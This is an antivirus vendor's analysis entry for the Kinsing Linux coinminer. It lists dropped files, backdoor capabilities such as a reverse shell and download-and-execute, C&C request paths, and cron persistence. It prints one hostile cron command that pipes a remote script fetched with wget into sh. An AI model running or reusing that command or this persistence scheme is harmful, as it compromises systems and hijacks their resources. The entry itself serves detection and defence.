Analysis by: Joshua Paul Ignacio

ALIASES:

Trojan.Linux.Agent (IKARUS); ELF/Agent.HN!tr (FORTINET)

 PLATFORM:

Linux/Unix

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Coinminer

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Dropped by other malware, Downloaded from the Internet

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes commands from a remote malicious user, effectively compromising the affected system.

It connects to certain websites to send and receive information. It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency.

  TECHNICAL DETAILS

File Size: 16,695,296 bytes
File Type: ELF
Memory Resident: Yes
Initial Samples Received Date: 15 May 2020
Payload: Terminates processes, Connects to URLs/IPs

Arrival Details

This Coinminer arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Coinminer drops and executes the following files:

  • /tmp/salt-minions
  • One of the following:
    • /usr/bin/salt-store
    • /tmp/salt-store
    • /var/tmp/salt-store
  • /tmp/.ICEd-unix/VpJHY

It creates the following folders:

  • /tmp/.ICEd-unix

Backdoor Routine

This Coinminer executes the following commands from a remote malicious user:

  • Downloads and executes a file
  • Reverse shell
  • Command Execution
  • Command Execution with outputs returned
  • Download and install updates of itself

Process Termination

This Coinminer terminates the following processes if found running in the affected system's memory:

  • salt-minions

Other Details

This Coinminer connects to the following website to send and receive information:

  • {BLOCKED}.{BLOCKED}.129.111
  • {BLOCKED}.{BLOCKED}.88.186
  • {BLOCKED}.{BLOCKED}.200.161
  • {BLOCKED}.{BLOCKED}.44.216
  • {BLOCKED}.{BLOCKED}.87.231

It does the following:

  • It reads the following system info:
    • Product Name
    • Product Version
    • Product Serial
    • Product UUID
    • Board Vendor
    • Board Name
    • Board Version
    • Board Serial
    • Board Asset Tag
    • Chassis Vendor
    • Chassis Type
    • Chassis Version
    • Chassis Serial
    • Chassis Asset Tag
    • Bios Vendor
    • Bios Version
    • Bios Date
    • Sys Vendor
    • Kernel Version

  • Reads the following information from /sys:
    • /sys/devices/system/cpu/possible
    • /sys/fs/cgroup/cpuset//cpuset.cpus
    • /sys/fs/cgroup/cpuset//cpuset/mems
    • /sys/devices/system/cpu/online
    • /sys/bus/cpu/devices/cpu{0-4}/topology/package_cpus
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_cpus
    • /sys/bus/cpu/devices/cpu{0-4}/topology/thread_siblings
    • /sys/bus/node/devices/node{0-4}/cpumap
    • /sys/bus/cpu/devices
    • /sys/bus/cpu/devices/cpu{0-4}/topology
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_siblings
    • /sys/bus/cpu/devices/cpu{0-4}/online
    • /sys/bus/cpu/devices/cpu{0-4}/topology/physical_package_id
    • /sys/bus/cpu/devices/cpu{0-4}/topology/die_cpu
    • /sys/bus/cpu/devices/cpu{0-4}/topology/core_id
    • /sys/bus/cpu/devices/cpu{0-4}/topology/book_siblings
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/level
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/size
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/coherency_line_size
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/number_of_sets
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/physical_line_partition
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/shared_cpu_map
    • /sys/bus/cpu/devices/cpu{0-4}/cache/Index{0-4}/type
    • /sys/kernel/mm/hugepages
    • /sys/bus/node/devices
    • /sys/bus/node/devices/node{0-4}/hugepages

  • Reads the following information from /proc:
    • /proc/cpuinfo
    • /proc/self/cgroup
    • /proc/mounts
    • /proc/meminfo
  • It creates the following cron jobs for persistence:
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * wget -q -O - http://{BLOCKED}.{BLOCKED}.117.137/c.sh | sh > /dev/null 2>&1
    • Path: /var/spool/cron/crontabs/root
      • Schedule: Every Minute
      • Command: * * * * * /usr/bin/salt-store || /tmp/salt-store || /var/tmp/salt-store
  • Deletes the following cron jobs with the following strings:
    • "update.sh"
    • "logo4"
    • "logo9"
    • "logo0"
    • "logo"
    • "tor2web"
    • "jpg"
    • "png"
    • "tmp"
    • "zmreplchkr"
    • "aliyun.one"
    • "3.215.110.66.one"
    • "pastebin"
    • "onion"
    • "lsd.systemten.org"
    • "shuf"
    • "ash"
    • "mr.sh"
    • "185.181.10.234"
    • "localhost.xyz"
  • It sends the following HTTP request to the C&C Server:
    • GET /h
      • Checks for the connectivity on the C&C server
    • GET /get
      • Fetch the next task/command from the C&C server (404 Not Found means there is no ongoing task/command)
    • POST /o
      • Sends Exec output to the C&C server

It uses the system's central processing unit (CPU) and/or graphical processing unit (GPU) resources to mine cryptocurrency. This behavior makes the system run abnormally slow.

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 15.870.05
FIRST VSAPI PATTERN DATE: 15 May 2020
VSAPI OPR PATTERN File: 15.871.00
VSAPI OPR PATTERN Date: 16 May 2020

Scan your computer with your Trend Micro product to delete files detected as Coinminer.Linux.KINSING.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.